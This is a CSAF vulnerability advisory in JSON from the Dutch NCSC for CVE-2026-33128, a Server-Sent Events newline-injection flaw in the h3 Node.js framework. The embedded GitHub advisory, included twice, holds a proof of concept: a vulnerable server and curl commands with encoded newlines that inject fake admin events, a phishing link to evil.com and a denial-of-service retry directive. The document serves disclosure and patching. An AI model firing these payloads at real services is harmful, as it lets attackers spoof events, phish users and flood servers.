{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33128",
        "tracking": {
            "current_release_date": "2026-03-25T10:04:04.653827Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33128",
            "initial_release_date": "2026-03-18T17:08:16.809008Z",
            "revision_history": [
                {
                    "date": "2026-03-18T17:08:16.809008Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T17:08:27.995760Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T11:40:09.219520Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:52.537953Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:56.944752Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:29:18.042768Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:29:21.071399Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:31:09.192296Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T20:25:28.713289Z",
                    "number": "9",
                    "summary": "Products created (7).| Product Identifiers created (15).| Products connected (8).| Exploits created (1)."
                },
                {
                    "date": "2026-03-20T20:25:33.071894Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T21:41:34.903916Z",
                    "number": "11",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-20T21:58:59.667958Z",
                    "number": "12",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T13:47:20.056480Z",
                    "number": "13",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-22T00:51:45.562706Z",
                    "number": "14",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-22T11:24:48.834595Z",
                    "number": "15",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-23T00:53:55.555169Z",
                    "number": "16",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-23T05:15:51.912408Z",
                    "number": "17",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T20:56:14.124244Z",
                    "number": "18",
                    "summary": "References created (1)."
                }
            ],
            "status": "interim",
            "version": "18"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.0",
                                "product": {
                                    "name": "vers:unknown/2.0.0",
                                    "product_id": "CSAFPID-5875818",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.0:*:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc10",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc10",
                                    "product_id": "CSAFPID-5875830",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc10:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc11",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc11",
                                    "product_id": "CSAFPID-5875831",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc11:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc12",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc12",
                                    "product_id": "CSAFPID-5875832",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc12:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc13",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc13",
                                    "product_id": "CSAFPID-5875833",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc13:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc14",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc14",
                                    "product_id": "CSAFPID-5875834",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc14:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc2",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc2",
                                    "product_id": "CSAFPID-5875820",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc2:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc3",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc3",
                                    "product_id": "CSAFPID-5875821",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc3:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc4",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc4",
                                    "product_id": "CSAFPID-5875822",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc4:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc5",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc5",
                                    "product_id": "CSAFPID-5875823",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc5:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc6",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc6",
                                    "product_id": "CSAFPID-5875824",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc6:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc7",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc7",
                                    "product_id": "CSAFPID-5875825",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc7:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc8",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc8",
                                    "product_id": "CSAFPID-5875826",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc8:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.1-rc9",
                                "product": {
                                    "name": "vers:unknown/2.0.1-rc9",
                                    "product_id": "CSAFPID-5875835",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc9:*:*:*:node.js:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.15.6",
                                "product": {
                                    "name": "vers:unknown/<1.15.6",
                                    "product_id": "CSAFPID-5875829",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:h3:h3:*:*:*:*:*:node.js:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "h3"
                    }
                ],
                "category": "vendor",
                "name": "h3"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.15.6",
                                "product": {
                                    "name": "vers:unknown/<1.15.6",
                                    "product_id": "CSAFPID-5874593"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=2.0.0|<2.0.1-rc.15",
                                "product": {
                                    "name": "vers:unknown/>=2.0.0|<2.0.1-rc.15",
                                    "product_id": "CSAFPID-5874592"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "h3"
                    }
                ],
                "category": "vendor",
                "name": "h3js"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33128",
            "cwe": {
                "id": "CWE-93",
                "name": "Improper Neutralization of CRLF Sequences ('CRLF Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${message.id}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${message.event}\\n`;\n  }\n  if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  result += `data: ${message.data}\\n\\n`;\n  return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** — break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** — using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** — inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** — inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format:        Actual wire format (with \\n injection):\n\nevent: message               event: message\ndata: attacker: hey          event: admin              ← INJECTED\n                             data: ALL_USERS_HACKED    ← INJECTED\n                             data: attacker: hey\n```\n\nThe browser's `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended:                    Actual (with \\n\\n injection):\n\nevent: message               event: message\ndata: bob: hi                data: bob: hi\n                                                        ← event boundary\n                             event: system              ← INJECTED event\n                             data: Reset: evil.com      ← INJECTED data\n```\n\nBefore exploit:\n<img width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" />\n\n<img width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" />\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) => {\n  const stream = createEventStream(event);\n  clients.push(stream);\n  stream.onClosed(() => {\n    clients.splice(clients.indexOf(stream), 1);\n    stream.close();\n  });\n  return stream.send();\n});\n\napp.get(\"/send\", async (event) => {\n  const query = getQuery(event);\n  const user = query.user as string;\n  const msg = query.msg as string;\n  const type = (query.type as string) || \"message\";\n\n  for (const client of clients) {\n    await client.push({ event: type, data: `${user}: ${msg}` });\n  }\n\n  return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser's `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` — entirely controlled by the attacker.\n\nProof:\n\n<img width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" />\n\n<img width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" />\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** — inject fake messages in chat applications\n- **Phishing** — inject fake system notifications with malicious links\n- **Event spoofing** — trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** — inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** — override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.",
                    "title": "github - https://github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${message.id}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${message.event}\\n`;\n  }\n  if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  result += `data: ${message.data}\\n\\n`;\n  return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** — break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** — using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** — inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** — inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format:        Actual wire format (with \\n injection):\n\nevent: message               event: message\ndata: attacker: hey          event: admin              ← INJECTED\n                             data: ALL_USERS_HACKED    ← INJECTED\n                             data: attacker: hey\n```\n\nThe browser's `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended:                    Actual (with \\n\\n injection):\n\nevent: message               event: message\ndata: bob: hi                data: bob: hi\n                                                        ← event boundary\n                             event: system              ← INJECTED event\n                             data: Reset: evil.com      ← INJECTED data\n```\n\nBefore exploit:\n<img width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" />\n\n<img width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" />\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) => {\n  const stream = createEventStream(event);\n  clients.push(stream);\n  stream.onClosed(() => {\n    clients.splice(clients.indexOf(stream), 1);\n    stream.close();\n  });\n  return stream.send();\n});\n\napp.get(\"/send\", async (event) => {\n  const query = getQuery(event);\n  const user = query.user as string;\n  const msg = query.msg as string;\n  const type = (query.type as string) || \"message\";\n\n  for (const client of clients) {\n    await client.push({ event: type, data: `${user}: ${msg}` });\n  }\n\n  return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser's `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` — entirely controlled by the attacker.\n\nProof:\n\n<img width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" />\n\n<img width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" />\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** — inject fake messages in chat applications\n- **Phishing** — inject fake system notifications with malicious links\n- **Event spoofing** — trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** — inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** — override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.",
                    "title": "github - https://api.github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "description",
                    "text": "H3 is a minimal H(TTP) framework. In versions prior to 1.15.6 and between 2.0.0 through 2.0.1-rc.14, createEventStream is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients. This issue is fixed in versions 1.15.6 and 2.0.1-rc.15.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33128"
                },
                {
                    "category": "description",
                    "text": "H3 is a minimal H(TTP) framework. In versions prior to 1.15.6 and between 2.0.0 through 2.0.1-rc.14, createEventStream is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients. This issue is fixed in versions 1.15.6 and 2.0.1-rc.15.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33128.json"
                },
                {
                    "category": "other",
                    "text": "0.00038",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874592",
                    "CSAFPID-5874593",
                    "CSAFPID-5875818",
                    "CSAFPID-5875820",
                    "CSAFPID-5875821",
                    "CSAFPID-5875822",
                    "CSAFPID-5875823",
                    "CSAFPID-5875824",
                    "CSAFPID-5875825",
                    "CSAFPID-5875826",
                    "CSAFPID-5875829",
                    "CSAFPID-5875830",
                    "CSAFPID-5875831",
                    "CSAFPID-5875832",
                    "CSAFPID-5875833",
                    "CSAFPID-5875834",
                    "CSAFPID-5875835"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33128"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33128.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-22cc-p3c6-wpvm"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33128"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5874592",
                        "CSAFPID-5874593",
                        "CSAFPID-5875818",
                        "CSAFPID-5875820",
                        "CSAFPID-5875821",
                        "CSAFPID-5875822",
                        "CSAFPID-5875823",
                        "CSAFPID-5875824",
                        "CSAFPID-5875825",
                        "CSAFPID-5875826",
                        "CSAFPID-5875829",
                        "CSAFPID-5875830",
                        "CSAFPID-5875831",
                        "CSAFPID-5875832",
                        "CSAFPID-5875833",
                        "CSAFPID-5875834",
                        "CSAFPID-5875835"
                    ]
                }
            ],
            "title": "CVE-2026-33128"
        }
    ]
}